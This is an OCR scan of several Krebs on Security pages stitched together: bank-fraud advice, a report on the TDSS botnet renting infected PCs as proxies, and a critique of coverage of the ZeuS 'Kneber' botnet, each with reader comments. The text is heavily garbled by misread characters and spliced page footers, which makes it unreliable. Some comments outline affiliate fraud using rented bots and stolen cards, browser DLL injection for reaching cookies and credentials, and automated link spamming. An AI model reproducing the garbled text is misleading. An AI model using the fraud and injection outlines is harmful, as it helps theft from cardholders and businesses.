Blocking these attacks has little to do with state-of-the-art computer systems or scanning files with anti-virus. 1t's not clear what malware family was
used in any of these attacks, although the first two mentioned in this story involved a cyber gang that favors the ZeuS Trojan (the frandulent NACHA
messages in the screen shot above contained a malware dropper that installs ZeuS). But organizations should understand that thesc attacks have far
more to do with social engineering and tricking humans than with defeating technology and security solutions.

As I've noted in past stories, all of the victims I ve interviewed were unning anti-virs sofiware: Very few of them had protection against the
malware used in the attack until after their money was stolen.

Most commercial banks have significant room for improvement in securing the transaction and authentication space for their customers. But
businesses (hat rely on their financial institutions to detect fraudulent activity are setting themselves up for an expensive lesson.

No single approach or technology will stop all of these account takeovers, but preventing the theft of your online banking credentials is a critical first
step. That’s why I continue to advise that small- to mid-sized organizations use a dedicated computer for online banking. Using a non-Windows PC
— such as a Live CD or a Mac — is the safest approach, but not necessarily the most practical or affordable. An alternate approach is 1o access bank
accounts from au isolated PC that is Jocked-down, regularly updated, and used for no other purpose than online banking.

Average Antlvirus detection rate {last 60 days})

Zeustracker.abuse.ch tracks antivirus detection rates for new variants of the Zeu$S Trojan. The
average detection rate is about 38 percent.
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4 comments

brucerealtor
Qctober 3, 2011 at 2:02 am

The use of multiple AV programs that do not conflict with each other, i.e., Malwarebytes secms 10 often conflict where Superantispyware
doesn’t, with a major commercial AV program in combination with running in user mode was apparently something the majority of those
hacked were apparently not doing, 38% absolutely sucks for new variants of the Zeus Trojan.

So I need a machine rumning Linux from a disc, or a completely dedicated machine for banking. I can imagine what you think of folks who use
their cellphone software to access their bank accounts - ouch 777

Like or Dislike: Wl 3 &4 0

October 3“ 2011 at2:57 am

IMO banks blaming their customers for these losses because they aren’t not running “appropriate” security software is a bit of a joke - surely
not a funny one either should you be the victim in the situation.

The fact is (as pointed out in the article) simply relying on software to provide protection is preity much pointless these days not least because
new maltware instances are tested against the very same software to casure it is not detected.

No doubt banks are aware of this — at least at some level of personnel. If I was told T was to blame for this reason outlined expect me to change
institutious if it’s at all practical to do so. The bank is obviously not interested in providing practical advice should this be the case and going
to far with the whole “guardian of the money” role.

Like or Dislike: (B 5 &8 2

.lic.gly.
3. 1ithew Walker

October 3, 2011 at 11:23 am

1d like to mention my own passwindow authentication plastic cards can do transaction authentication off any OS or mobile device securely
adhering to the assumption there js already malware on the device and still able to provide providing mutual transaction authentication. The
plastic cards only cost a few cents and are less than a blank CD. For businesses that means they can continue to run their essential MS based
accounting software which is probably mandated by their accountant or bank right off their regular or mobile machines. There is also an online
authentication version shieldpass.com where individuals or small user groups can plug the code directly into their websites. Felt I had to
mention it as it seems more secure and practical for business than the LiveCD approach.

Like or Dislike: U8 0 &8 2
Repl

i Nic
October 3, 2011 at 12:12 pm

People are upset by the amount of money stolen here, especially considering the victims — schools, cancer clinics, ete. So we rush to
determine blame, thereby providing a path to a solution. (Haven’t we done that before already?)

I'm not so sure it’s that simple, though. I don’t think there’s an easy fix because the problem isn’t a technical one. Allow me to explain.

We know that most people will click through any warning, Right there, it stopped being a purely technical problem. Employing data from
abuse.ch, spamhaus, hostexploit.com, Team Cyinry, and other organizations _does_ help. It _should_ be done by administrators. But that’s not
the end of it, because this isn’t a purely technical problem; we can’t control everything in a multi-everything cavironnent,

Personally I don’t like the banks due to their business practices. However, if I was in their shoes, seeing how ordinary users take no interest in
computer securily, 1 would find it difficult to impose truly secure expectations upon them. Multi-factor auth, Windows clients blocked (this
can be done at the TCP level for example with p0f), etc. Yeah. That would be an instant national scandal followed by immediate apologies,
lost customers, and backiracking.

The root problem is that users have been conditioned to not develop computer skills. Think of all the non-computer people you know: in the
last 10 years, what skills have they developed? I don’t mean using Firefox instead of IE — that’s not a skill; think of this as a car. I'm talking
about, Have they learned to change their own 0il? Can they replace spark plugs? Can they teplace a tire now whereas 5 years ago they
couldn’t? Those are real skills. They don’t need to design an engine/kemel, but given the importance of computing in our economic and
personal lives, one would assume some real skills had been learned along the way. However in the computer world the only advancement we
see is analogous to learning how to drive a Chevy “instead” of a Ford. That’s not a new skill learned.

The amount of hand-holding by the OS is inversely proportional to the abilities developed by the user,

The percentage of options found in pre-defined buttons is inversely proportional to the abilities of the user.

The clarity of error messages is proportional to the problem-solving abilities of the user.
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Gaining skills and abilities takes time but it’s a natural process.

IMHO the real solution is to treat users bit by bit, more and more as adults. That’s how they’1l gain skills and abilities, and that’s how the
severity of these problems will shrink to an acceptable level.

In the meantime I think live CDs are the best way to go.
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| 375 | A
| tweets | Criminals who operate large groupings of hacked PCs tend to be a secretive lot, and jealously guard their assets against hijacking by other

{top iKi crooks. But one of the world’s largest and most sophisticated botnets is openly tenting its infected PCs to any and all comers, and has cven
retwest  created a Firefox add-on to assist customers.

The TDSS botnet is the most sophisticated threat today, sceording to experts at Russian security {irm Kaspersky Lab. First launched in 2008, TDSS
is now in its fourth major version (also known as TDL-4). The malware uses a “rootkit™ to install itself deep within infected PCs, ensuring that it
loads before the Microsoft Windows operating system starts. TDSS also removes approximately 20 malicious programs from host PCs, preventing
systems from communicating with other bot families.

Iysus of TDSS published in June, Kaspersky researchers Sergey Golovanoy and Igor Soumenkov wrote that among the many
y TDSS is a file called “socks.dll,” which allows infected PCs to be used by others to surf the Web anonymously.
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e

Lou powesti

Researchers say this Firefox add-on helps
customers use Internet connections of TDSS-
infected PCs.
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“Having control over such a large number of computers with this function, the oybercriminals have started offering anonymous Internet access as a
service, at a cost of roughly $100 per month,” the researchers wrote. “For the sake of convenience, the cybercriminals have also developed a Firetox
add-on that makes it easy to toggle between proxy servers within the browser.”

The storefront for this massive boinet is awmproxy.net, which advertises “the fastest anonymous proxies.” According to Golovanov, when socks.dil
is installed on a TDSS-infected computer, it notifies awmproxy.net that a new proxy is available for rent. Soon after that notification is completed,
the infected PC starts to accept approximately 10 proxy requests each minute, he said.

“For us it was enough to see that this additional proxy module for tdl4 was installed directly on encrypted partition and runs thru rootkit
functionality,” Golovanov told KrebsOnSecurity. “So we believe that awmproxy has dircct connection to tdl4 developer but how they are working
together we don’t know.” The curators of AWMproxy did not respond {o requests for comment.

v AW

GRS

P

e

AWMproxy.net, the storefront for renting
access to TDSS-infected PCs

The service’s proxies are priced according to exclusivity and length of use. Regular browser proxies range from $3 per day to $25 monthly. Proxies
that can be used to anonymize all of the Internet traffic on a customer’s PC cost between $65 and $500 a month. For $160 a week, customers can rent
exclusive access to 100 TDS8S-infected systems at once. Interestingly, AWMproxy says it accepts payment via PayPal, MasterCard, and Visa.

Awmproxy.net currently advertises more than 24,000 proxies for rent. The number of available proxies varies greatly from day to day, even within a
single 24-hour period. That’s because the TDSS-infected systems aren’t always turned on: Their legitimate, oblivious owners sometimes tumn their
PCs off at night and on weekends.

This is explained in AWMproxy’s FAQ:

“Q: Today quality/speed/number of proxies decreased, can you do something?

At There are time periods when the proxies quality, number and speed decrease, and we are really unable to help it much as we would
like to. Tt is impossible to provide the same number of proxies in the day time and at 3 a.m. The same is true for weekends.”

The renting of hacked PCs for anonymous surfing is only one of the many ways the TDSS authors monetize their botnet. In a blog post published
today, Golovanov discusses how TDSS is being used for i1 g 1Zitcomy, an electronic currency.

Botnet Statistics (1/3}

SRy FEENS %l U R
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Statistics collected by Abuse.ch, the curator of
ZeuSTracker, show how TDSS stacks up
against other bots.

Other researchers have been exploring the activities of a new TDL-4 variant that uses infected PCs for ; nuave ehuk framd cpvrifhas. Joseph
Miodzianowski, a malware researcher who blogs at sub0day.com, found that machines infected with this new version periodically download
“campaign” files, listings of Web sites that botted systems arc instructed to visit, apparently to generate ad revenue for the targeted sites.

“What I think they’re doing is renting to these sites the ability to have people visit them so they can get paid for display ads,” Mlodzianowski said.
“A campaign file is a list of about 15 sites. The [bots] don’t hit just one page, they crawl through and visit two to three pages on eachi site, so it looks
like a real user is doing that, All of this happens so that it is invisible to the user.”

I’s not clear yet whether the [raudsters running the TDSS botnet operate a similar public storefront for click fraud clients. But it’s remarkable that
those responsible for TDSS feel so invulnerable that they are comfortable advertising their work in such a public fashion.

Update, Sept. 9, 9:28 a.m. ET: Check out the follow-up post to this article, Who’s Behind the TDSS Botnet?, which follows a trail of digital clues
that Iead back to an individual who appears to be closely tied to this criminal operation.
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1 2.5, You can follow any comments to this entry through the

This entry was posted on Tuesdsy, September 6th, 2011 at 12:40 pm and is filed under 3, Lattie Sunshing
RSS 2.0 feed. Both comments and pings are currontly closed,

42 comments
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Sepromber & 2001 a8 12:3

I find it amusing that there is a bank that processes MC & Visa payments for the access to hijacked PCs. PayPal as 2 method payment is also
quite funny. Hopefully someone will do sting purchases and these billing methods will be shut down now. This crap should only be
purchasable with crime-friendly payment methods like LR or Bitcoin.

Well-loved. Like or Distike: &

3 They also take Webmoney and Liberty Reserve.

Well-loved. Like or Dislike: &

&
i Aleksey

September 0 208t 1Y

ah, yes, I forgot WM as another crime-friendly payment method @

s@o

Well-loved, Like or Dislike:

These botmasters may have a high profile in the malware market, but to ordinary websurfers and the Mainstream Media they ’re nonexistent.
These are the kind of WWW crooks well loved by the government of Mother Russia, which used their services during the atlack on Estonis

and the war with Georgia.

Does anyone believe that FSB or any other Russian law enforcement will arrest, let alone convict these miscreants as long as they pay their
bribes and don’t attract mainstream attention?

Well-doved. Like or Dislike: (85 13 @ 4

seprember @, 200 at 539 pin

We had a laptop at our place infected with TDSS/TDL4. It managed to survive a complete wipe & reimage of the laptop in question. First time
[ have ever secn (hat!

It may be worth adding to your article that Kapersky supplies a ufility to locate and remove this nuisance - TDSSKiller. It did the job nicely
for us.

TCIEA RS

Well-loved. Like or Dislike: 8 20 & o
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Thanks, Tim. I had meant to add that in the original version of the story. Perhaps [ still will.

1t’s worth noting that the research on the T1d-4 variant discussed at the end of this blog post says that removal tool does not
detect/remove this latest variant, although that will likely soon change.

DL4:

7a%

“This Stealth trojan malware (TDL4.2) uses the victims computer to browse websites with out any signs. It doesn’t display
the common browser redirects or annoying popups, which normally alert users to the fact that they are infected. TDL~4 is
detectable and can be removed by Kasperskys TDSS Killer, however, this variant will download and update itself becoming
undetectable. [At least for a while]“

Only one person really knows for sure... whoever has written the latest version of TDSS,

Like or Dislike; & 21 & o

2011 aL 1:49 jth

Setemt

It L understand properly how TDSS works, it writes itself to the tail end of the master boot record (MBR), which — depending on
how you format & machine — may not be touched by a reinstall of the operating system.

Well-loved. Like or Dislike: 88 10 8 o

Tim

Somjember &, 2 ae 157 om

No — our image is rock-solid.

As Brian notes, this devious malware infects the MBR so our standard re-imaging process did not touch it. As soon s the standard
jmage was reloaded and added back (o the LAN, the malware was off & running again.

It’s worth noting that the way we noticed this malware was by reviewing our proxy/firewall logs. T get a weekly report showing all
communications from internal endpoints to known (or suspected) malware domains. the domain looked suspicious 1o me and a
few minutes research showed that it was indeed a known TDSS C&C server.

Reviewing logs can be a tedious process... but it’s an essential part of the ‘defence-in-depth” approach.

Boa @0

Well-loved. Like or Dislike:

Would the rootkit survive if you did a fix MBR or restore MBR command?

Like or Dislike: 8 o &l o
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1 theory, yes, that should work, Llowever, blowing away the MBR and writing & new one would be safer, IMHO, as
long as you’re reinstalling.

Weli-loved. Like or Dislike: 35 5 & 1

LVAN 5
Hepter

One of the things I’ve always loved about Acronis True Image is the ability to boot from a recovery CD and re-
image just the MBR,

Well-loved. Like or Dislike: .

I guess I'm assuming you would have pulled the HD and attached it to another system via an external drive then deleted the
partitions and then formatted the drive. Wouldn’t that wipe the MBR out completely so you’d be starting fresh?

Like or Distike: i o & o

MBR is at track0, sectorO and is 12.5% of the HD space created when the drive is initialized. Formatting does not
write 4 new MBR. The MBR is backed up and some fixes attempt to replace the infested MBR with the backup.
Seldom works.

Use a zero-fill utility (killdisk, etc.) to wrile zeros to entire disk surface before reinstalling. Single pass OK, more
passes better.

Avast a3swMBR can detect TDS and repair the MBR (uses Gmer technology. Worked once for me but didn’t cure
entire infection. Zero-fill, reinstall,

3¢ 1

Like or Dislike:

6 20 ae 200 pm

Brian, I have received 2 (bogus) notifications about new comments to the bank fraud in Pittsfield NY;

kA AR R ROK K
There is 8 new comment on the post “FBI Investigating Cyber Thett of $139,000 from Pittsford, NY”,

b vhronsengidy com 201N brp ez ey bbb b1 3 iustond g/

Author: Celesta Delio
Comment:

i awesome post. i will come back. thank you pal
R Lt

However, there is no such comment (in either of the 2 notifications I received.) Are you deleting the comments or is there something nefarious
going on here?

Septomdne &

Eric,

Thanks for subseribing, My apologies. The blog spammers have reslly stepped up their attacks on my blog, and I'm working hard to
keep them from abusing my site’s reputation. Sometimes, spammy comments slip through the net, though, and I always delete them as
soon as I notice them,

Heh ... that’s pretty amateurish as far as link spam goes.
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Many marketers use far more sophisticated methods that make automated posts that many webmasters would be hard prossed to
mark as spam and therefore provide the ull important anchored backlink that lives a long time.

For example one can use a program such as Scrapebox to search for blogs using whatever keyword is being targetted, scrape
tweets filtercd using the keyword using a program such as TweetAttacks and then post the tweets. Done right this method leads to
~80% of links being there in 3 months (ie. not deleted as spam) and often higher rates if onc simply uses a trending topic in
Google and hits blogs that are following the trend with Tweets.

Actually sometimes this can lead to posts that are actually genuinely useful which leads me to question whether they can be called
spam in the first place despite being an automated process.

And that’s just one way of doing it ...

Naer

Like or Dislike: £

F Hithert

septenther 620 L s 2,12 pm

Given that they claim to accespt Visa and Mastercard, if law enforcment was s inclined, they could buy the product, check their Visa bill for
the merchant id, provide that info to Visa to have that merchant and all related blacklisted. They could also track the bank acocunt into which
the merchant id is funnelling the cash, sieze it or monitor withdrawals, follow the mule to the owner of the account and thus the botnet.

Also this could be done through civil suits and subpoenas if a victim were to file suit

Well-loved. Like or Dislike: oo

L0 Al 233 pin

T am still involved as “click fraud ” is one of the ways hackers profit {rom stolen data, The term click fruad only related to cost per
click campaigns, the real money is fut he Cost Per Acquistion fraud.

Im over simplifying this but, in short a hacker gets stolen credit cards and info. then he partners (1 say partner because he is
unlikely to be able to be an affialite himself) with a CPA aifialite and drives traffic to the affialites link on various offers.

The affiliate will be paid a commission ranging for $.25 to $40 per sign up/acquistion. The partners share the profit.

But, if all the traffic comes from the same IP most affilaite networks are smart enough to see that it is frand. Now some will wait
for the advertiser to complain because the affiliate network is also paid based on the traffic and cpa. But the legit ones like Epic
Media Group (full disclosusre EMG owns my firm Online Intelligence) actually block/void the traffic and payment to the affialite
as soon as the pattern is detected.

Tnter the botnet, hacker/affialtie will run traffic through the rented/owned hotnet so the IPs, browser data and other tell tales sre
gone and thus the fraud is not detected by those groups without a skilled anti-fraud/anti-sbuse team.

So I run through 50 botact IPs at $30 per sign up (CPA) = $1500 and the cost for the rent is $300 a month? I like the $1200 profit.
Best par tis I can do this with 100 stolen identities/cards or 100,000

Sadly very few LE investigators know truly how hackers/ malware/phisher/botmasters profit from their trades.

its a complicated process but once you see the pattern its fairly casy.

13680

Weli-loved. Like or Dislike

W, L31sur3

bor 6, 200 st i m

4 drzauisapelord
Septenber 6, 2011 at 4.3 pm

They’ll using something like wget or curl to request the pages and “click” on the links. No need to involve the end user’s graphical
browser.

Well-loved. Like or Distike: &+ & o
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Septembar ©, 201 st T 1% pe
1 haven’t actually looked at how they 're doing it.
However, most browsers are pluggable, which means there are & number of ways they *could* do it.

Among them:

1. Most browsers support NPAPI [1] (the original “plugin” API) (the exception is IE which uses ActiveX {2}).

2. Most browsers have an extension model (for IR this is called BHO - Browser Helper Object [3], for Firefox the equivalent is roughly
xpeom extensions [4])

3. Most browsers have a way to add toolbars which rely on their extension model.

4. On Windows one can register to be a Windows LSP [5], in theory you're claiming to help with network connections to interesting
things (NetBIOS/NetBUI, whatever).

5. One can also be truly evil and just use DLL injection {6] — this was definitely done by viruses at some point in time, but if you want
to target browsers you can use any of the other techniques instead.

Most of these will eventually result in 2 DLL {7] being loaded, in the case of plugins this might only bappen if plugin scanning is
triggered, but typically the others happen roughly during browser startup,

Note that browsers have started taking action to prevent some of these things (especially LSPs, since ignoring the malicious ones, many
are just plain crashy). There are also techniques to iry to lock out unsigned libraries (Google bought one of those vendors),
unfortunately, some of Microsoft’s libraries aren’t signed (typically these are shim libraries as opposed to the real libraries, but if you
need the shim, you’re in trouble if you don’t load it)* [or weren't signed when [ looked 2 years ago]. But again, if your system is Owned,
then a browser really can’t defend itself against aftack.

When a DLL loads, it typically gets a DLL_PROCESS_ATTACH [8] message. Roughly around this time, the library can create a thread
[9]. In the thread, the code can then do whatever it wants to do. This has relatively minimal affect on the Browser itself, but it means that
the code is running inside the browser. If the Browser has enough threadsafe APIs, then it’s possible for the thread to safely access and
use cookies and other credentials (or ask the browser to make a request, this is more or less how XML HitpRequest[10]s work —
although browsers generally have APIs for making direct requests too). If not, then the code might need to send messages to some other
thread asking it to do the work (this is perfectly legitimate, and since it *is* the Browser, there’s no reason for the browser not to trust
it). Remember that we’re dealing with malicious code, so it’s possible for the code to take shortcuts if it wants to, it could for instance
try to read data directly instead of using APls, as long as it’s relatively careful, it could get relatively good data most of the time, and that
might be sufficient for its purposes.

This of course assumes that someone wants to bother to do the work of living inside a browser. Keep in mind that the article describes a
vendor who was willing to write a Firefox extension for procurement purposes, which means they are willing to do some of this stuff.

Once could simply try to do reads against the file system to get rough cookie/password/cache data. It’s less reliable, and might be more
prone to breaking, but for most purposes it probably doesn’t matter what technique one uses. As long as the code doesn’t crash (because
one doesn’t want the user to notice), some slightly bad data shouldn’t negatively (the definition of “negative” here is “show up in logs as
surprising and trigger an audit™) affect the results that the targets (i.c. the web sites who are being “clicked™) scc. — but someone already
mentioned curl/wge, so talking about that would be a duplicate.

M ERPARE

(57 st /s
[6] bt/
(7] fip
[8] sy
[9] aad
[107 1

Well-loved. Like or Dislike: & 13 &
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§%’§ W« timeless

LA 8T 18 pm

ooh, this got an awaiting moderation. Brian: is that because I included too many links, or because of the aforementioned spammers
which caused you to switch to moderating all comments?

Like or Dislike: R

I’d rather not say why it got moderated &% But yes, having a metric ton of links in a comment tends to spook the system. It's
approved now.

Well-loved. Like or Distike: {8 s 8 1
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imeless
promber 7, 2011 a1 2.«

Yeah, sorry, I wouldn’t want you to disclose the details & The question was written because I knew it would work
as an automatic test (and there’s no harm in it being down-modded). I switched to [] urls because each time I try to
post inline urls, T use {ItJurl[gt] which triggers some filter which eats the url resulting in poor articles —1 really could
use a “preview” option.

sent-prgv sy so [ ean find out if it would

1 need to find a site that uses hiis
solve my problem & .

Like or Dislike: 8 ¢ &

Lot GoSd pm

Re: the user not seeing the clicks, Many ways have been provided above but since the broswer/user agent is often collected by the anit-
fraud teams at the affiliate networks, the browser is actually opened in a 1x1 pixel window (some times as a mobile emuliator). The
malware opens the window shrinks the size (not minimize) clicks thru and inputs the information on sutoform fill then closes the
window. The time of “opening” varies and most users would not notice the open window unless they specifically look for it in
taskmanager or under the windows tab.

Another way is to route all requests thru snother site and then falsify the pakets being sent with the traffic but this can be highly
complicated and often throws up red flags for the cornpliance teasm if they know what to look for...

TG

Like or Dislike: £

Here’s the link to a direct download of the ZIP file containing the rootkit killer:

Birpvupnoi kasoenhy comddowsosdsbmilviadaslalior vip

Hidden due to low comment rating. £}

v-rated. Like or Dislike: Bsllis

it seems that TDL4 author does not stop improving it. Kaspersky issues an update to the tsskiller tool every week (sometimes even twice). The
bad thing is that TDL4.2 does not give you a clue that you are infected — no redirections, nothing. Hmm, scary in fact.

As always ~ perfect article Brian, keep it going!

10. Confi Dential
septomber 7, 201 st 39
Read “Fatal System Error,” and you’ll sec *why* they feel invulnerable.
Like or Dislike:

1L Feher Tamas

September 72001 st 947 am

Why do Americans allow criminals to infect our computers? In most cases, the users could have avoided it by being better trained at
recognizing fraud and/or by being more responsible about running antivirus/antimalware programs.
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Why do we allow ISPs to have users with infected computers on high speed internet connections providing a US springboard for Lastemn
European and Asian criminals? Rather than seeing their proliferation as cause for alarm, ISPs seem to regard it as a reason to consider
disinfecting them all as a hopeless task.

You can cut all the cables you want, but half the problem is on this side of the oceans.
Well-loved. Like or Dislike: @@
)

cherry

Hidden due to low comment rating. {.

ly-rated. Like or Dislike: [ JRENE

Typically I ignore trolls, but I will make an exception for you. The simple truth is that cybercriminals constitute a very small share of
any country’s population and therefore the idea of cutting off the countries just because certain (very small) percentage of population is
engaged in cybercrime, is absurd.

Good luck debating that!

W

RO

llv-\loved. Like or Dislike: & 13
&

«_ ., this additional proxy module for idi4 was installed directly on encrypted partition ...”

Would this partition show up in the Windows disk mgrat module the way Truecrypt partitions do?

Like or Dislike: & ¢

Advertisement

TAUTHENTIFY

http://krebsonsecurity.com/2011/ 09/rent-a-bot-networks-tied-to-tdss-botnet/ 11/18/2011



Rent-a-Bot Networks Tied to TDSS Botnet — Krebs on Security Page 10 of 12

- Recent Posts

a @ 5 & &

*

- Subscribe by email

Your email:
Erter emall address...

{"subsoribe | | Unsubscribe |

. Made possible by Prolocation

- Cliek it!

G AR
[ v 25 FESR

. Categories

Web Frand 2.0

. Archives

Dec
MNovemby
Octoher 2010

http://krebsonsecurity.com/2011/ 09/rent-a-bot-networks-tied-to-tdss-botnet/ 11/18/2011



Rent-a-Bot Networks Tied to TDSS Botnet — Krebs on Security Page 11 of 12

. All About ATM Skimmers

Click image for my skimmer series.

- 'Tags

wayn DI
i DI

Ebat shmeley & }
i1 A eci S IPONaBLI MM GHTY TO 3a MEOH mpHenyT? Bz8s .
>- T just got two MS monthly updates to run which came on Saturday instead of.,. 1 13
Tim, my experience (XP SP3) was the same —after running the Fixli, two old.. @128
searcher. 8 13 kik2

o Grabam Chilev, Sophos

ney fech Blog

http://krebsonsecurity.com/2011/09/rent-a-bot-networks-tied-to-tdss-botnet/ 11/18/2011



Rent-a-Bot Networks Tied to TDSS Botnet — Krebs on Security Page 12 0of 12

(M)
Micmsoft
SANS I

6 = 8 © © e & © © &6 6 6 © I T @

© 2011 Krebs on Security. Powered by WordPross. Privagy Polins

http://krebsonsecurity.com/2011/09/rent-a-bot-networks-tied-to-tdss-botnet/ 11/18/2011



ZeuS: ‘A Virus Known as Botnet” — Krebs on Security Page 1 of 12

Advertisement

Krebs on Security

In-depth security news and investigation

ZeuS: ‘A Virus Known as Botnet’

Hello there! If you are new here, you might want to sufiseribe fo the BSS feed for updates on this topic. X

You may also sut el in the sid (o

[ twgels As a journalist who for almost ten years has sought to explain complex computer security wopics fo 8 broad audivnes, it's sometimes
“otweet difficult to be picky when major news publications over-hype an important security siary or screw up tiny details: For one thing, Internet

scourity so seldom receives more than surface treatment in the media that the increased attention 1o the issue-ofien seems o exeuse the
breathlessness with which news organizations cover what may seem like breeking, exclusive stories.

The trouble with that line of thinking is that an over-hyped story tends to lack important context that helps frame the piece in ways that make it more
relevant, timely, and actionable, as opposed to just sensational.

I say this because several major media outlets, including The Washington Post and the Wall Street Journal, on Thursday ran somewhat uncritical
stories about a discovery by } , a security firm in Northern Virginia that has spent some time detailing the breadth of infections by a single
boinet made up of PCs infect: uS, & password stealing Trojan that lets criminals control the systems from afar. NetWitness found that this
particular variant of the botnet, which it dubbed “Kneber,” had invaded more than 2,500 corporations and 75,000 computers worldwide.

The Post’s headline: More than 75,000 Computer Systems Hacked in one of the Largest Cyber Aftacks, Security Firm Says.

From the WSJ: Broad New Hacking Attack Detected: Global Offensive Snagged Corporate, Personal Data at Nearly 2,500 Companies:
Operation is Still Running,

Yahoo!’s coverage tells us, Scary Global Hacking Offensive Finally Outed.

After a day of dodging countless PR people pitching their experts to pile on to the story, I finally resolved to add my two cents when [ heard this gem
from the PBS Newshour with Jim Lehrer: “A major new case of computer hacking has been uncovered, 4 virus kitown as botnet invaded the
computers and used them to steal data from commercial and government systems. Among other things, the hackers have gained access to e-mail
systems and online banking.”

Not to take anything away from NetWitness, whose network forensics software I have used and admire. Also, the company has a fine stable of
security researchers, and is headed up by no less than Amit Yoran, a clueful geck who was formerly the top cyber official at the Department of
Homeland Security.

And NetWitness timed its research masterfully, releasing its findings as it did so soon after ngivs that Google and many other large financial, energy,

defense, technology and media firms had been compromised by a stealthy computer attack.
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The Post’s Ellen Nakashima tells us, ..it is significant...in its scale and in its apparent demonstration that the criminal groups’ sophistication in
cyberattacks is approaching that of nation states such as China and Russia.”

Sadly, this botnet documented by NetWitness is neither unusual nor new. For the past several years at any given time, the number of distinct Zeu$
botnets has hovered in the hundreds. At the moment, there are nearly 700 command-and-control centers online for ZeuS botnets all over the world,
according to Jout a Web site that keeps tabs on the global threat from ZeuS.

wls

True, not every distinct Zeu$ botnet has 75,000 infected machines in its thrall, but that’s actually not all that rare, and some have far more systems

¢ ybout & Zeu$ botnet of roughly 100,000 infected systems whose overlords (or encmies) exercised the “kill
operating system” feature built into the botnet code, instructing all of the infected computers to render themselves unbootable and for all purposes
unusable by either the bad guys or the rightful owners of the machines.

Take a peek inside any monster piles of purloined data these botnets turn in each day and chances are you will find similar victims as detailed in the
Kneber write-up: Infected computers at dozens of government, military and educational institutions, as well as many of the world’s top corporations.

Back in 2007, | wrole a story for The Washington Post’s Security Fix blog called iracking thy wword Thigies, in which [ pored over the data
stolen by a single botnet that had infected some 3,221 U.S. victims. In just that comparatively tiny sample, I found infected machines at U.S.
government systems (Department of Energy), financial institutions (Bank of America), and plenty of Fortune 50 companies, including IBM, Amgen
and Merck (the latter was found again in the ZeuS botnet dissected by NetWitness).

Incidentally, the name of the password-stealing malware that I tracked in that story three years ago? “WSNPoem,” a pscudonym for the ZeuS Trojan.
The first sign that a story might be over-hyped is usually when it gets downplayed by some of the world’s largest securily companies, such as
McAfee and Symantec. These are companies that critics often accuse of encouraging hysteria over computer security threats so as to drive up sales
of their products and services.

But both companies today sought to talk people down off the ledges and assure customers that the threat was — while serious ~ nothing new.

“In the world of eybersecurity the ‘kneber” botnet is, unfortunately, just another botnet. With 75,000 infected machines, Kneber is not even that big,
there are much larger botnets,” McAfec said in a written statement, “Kneber is based on the ‘Zeus” Trojan, malware known to scourity companies. In
our recently released Q4 2009 Threats Report we found that in the last three months of 2009 just under four million newly infected machines joined
botnets.”

Symantee also downplayed the threat:

“Kneber, in reality, is not a new threat at all, but is simply a pseudonym for the infamous and well-known Zeus Trojan. The name Kneber simply
refers to a particular group, or herd, of zombie computers, ak.a. bots, being controlied by one owner. The actual Trojan itself is the same
Trojan.Zbot, which also goes by the name Zeus, which has been being observed, analyzed and protected against for some time now.”

Perhaps T am 4 little closer to this particular botnet than most: After all, I have written du/ens of wioriys over the last nine months about the exploits
of orgenized criminals using ZeuS to steal tens of millions of dollars from small- to mid-sized businesses, governments and non-profit organizations.

This is just some of the context that would have been nice to see in any of the mainstream press treatment of this research. From where [ sit, security
stories that lack appropriate context {end to ring hollow, and squander important opportunities to raise awareness on the size, scope and real-world
impact of these threats.

Y GrARE IV
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L. ™ J.C. Reid

Fobrsary 19,2000 9 1053 min

Brian —~ Thanks for this. When I rcad about this in WaPo and saw it on PBS, I was scratching my head and thinking, “So, what’s new?” The
one constant was NetWitness, so I figured they must have a new product coming out and wanted to drum up business. I concluded the press
release headline was just too juicy for the media outlets to pass up. Sad bat true.
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Well-loved. Like or Dislike: i 21 @

), 2004 A 305 am

Too funmy. But Lehrer got it wrong, The virus is called *trojan*. Still, the Forliguard white paper is excellent. Bill Gates’ dream was to put a
computer in every home and on every desktop. He succeeded — and they’re all infected.

7@ 1H

Hot debate. What do-you think?
TR

3. Scesl BRUCEREALTOR

2010 a1 am

Hidden due to low comment rating, £

Poorty-rated. Like or Dislike: 8.

00005%

Hlw 300 Sy
chruary 19, 2000 00 324 s

Hidden due to low comment rating, (e}

Poorly-rated. Like or Dislike: &8 5 &

4, !
Thank you, Brian. T saw an article in the InformationWeek and was also wondering what is so special about this botnet, Is it somghow
targeting specifically corporations? Is it particularly hard to detect? Anything clse? The article didn’t make it clear and now that I read your
post it seems that there is nothing special about it indeed.
Well-loved. Like or Dislike
5. % TheGeezer
Puan 19,2010 sl 620 am
Exactly Brian, Not only is it common, the same registrar has registered domains for this botnet to install the zcus trojan for 7 days straight,
using the IRS, the Macromedia Flash Player and the Valentine Card exploits among others.
1t is simply business as usual for the botnet and the registrar,
And of course the registrar’s emergency response team works only during normal working hours, 9-5, weekdays.
Well-loved. Like or Dislike: 8 s & 1
° TheGeezer
¢ 212010 a1 12:19 s
Update: make that 9 days straight of domains registered with the same registrar and used by the zeus botnet for IRS, Facebook, Visa and
other frauds which install bots and steal identities.
Also, the emergency? response team only takes down fraudulent domains 9-10 AM weekdays.
Imagine in the brick and mortar world if it was reported (o the water company on a friday that they had contaminated water and they said
they would take care of it monday morning!
Yet this scems to be perfeotly acceptable in the digital world.
One day, probably the next computer generation, one will wonder how we could have been so stupid. But that day is obviously a long
way off.
In the mean time we can rubber-neck the accidents along the digital highway and talk about all the things the victims should have done
to avoid it.
For personal computers, you are absolutely right. This is Bedrock and we are the Flintstones. There are reliable computers,
mainframes being one example. But personal computers (Windows, Linux and Macs) are as crude as the tools Fred and Bamey
used.
Like or Dislike: & o &l s
6 Dave Wilson
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wey 19 2010 48 706 sy

This is why somebody with your expertise should be making six figures working for the NY'T, WSJ, Washington Post...

20881

Well-loved. Like or Dislike: &

WholsJohnGalt

chruary 21 230 a1 73 am

Instead of giving NYT, WSJ, WP, the $.50,.. maybe Brian can sct up a volunteer micropayment button. In time, Brian will be rewarded
with Gold he deserves.

Click HERE is you enjoyed this story

You're a “producer” Brian, don’l sweat the small stuff. We understand your value and sincerely appreciate your product daily.
Click HERE is you enjoyed this story

/Iohn Galt

Like or Dislike: B 388 6

ackRussell
spuary, 19, 2010 ot 723 e

I suppose the only thing that is new is that the general public is hearing about this for the first time. And true to form, the MSM sometimes gets
the story wrong,.

Like or Dislike: 82 81

embark
yary 192010 at 740 am

Our problem is that the “public” is hearing somewhat mis-informative sound bites, without any real context or information on how to avoid
infection.

Looking at the recent coverage, 1 cannot find anything that wasn’t here or in the Post years ago. One possible solution: Maybe Brian should be
required reading for anyone with a computer. At least then more people would understand the risks and why they want to care about security.

